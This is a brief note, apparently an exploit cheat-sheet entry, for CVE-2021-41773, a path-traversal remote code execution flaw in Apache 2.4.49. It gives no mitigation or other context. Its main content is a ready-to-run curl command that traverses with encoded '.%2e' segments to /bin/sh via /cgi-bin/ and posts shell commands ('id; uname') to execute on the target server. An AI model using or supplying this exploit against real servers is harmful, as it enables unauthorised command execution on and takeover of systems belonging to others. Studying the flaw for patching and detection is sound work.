Apache 2.4.49 RCE
CVE-2021-41773 is a vulnerability where an attacker may perform an RCE on a webserver running Apache 2.4.49
Exploit
curl http://example.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'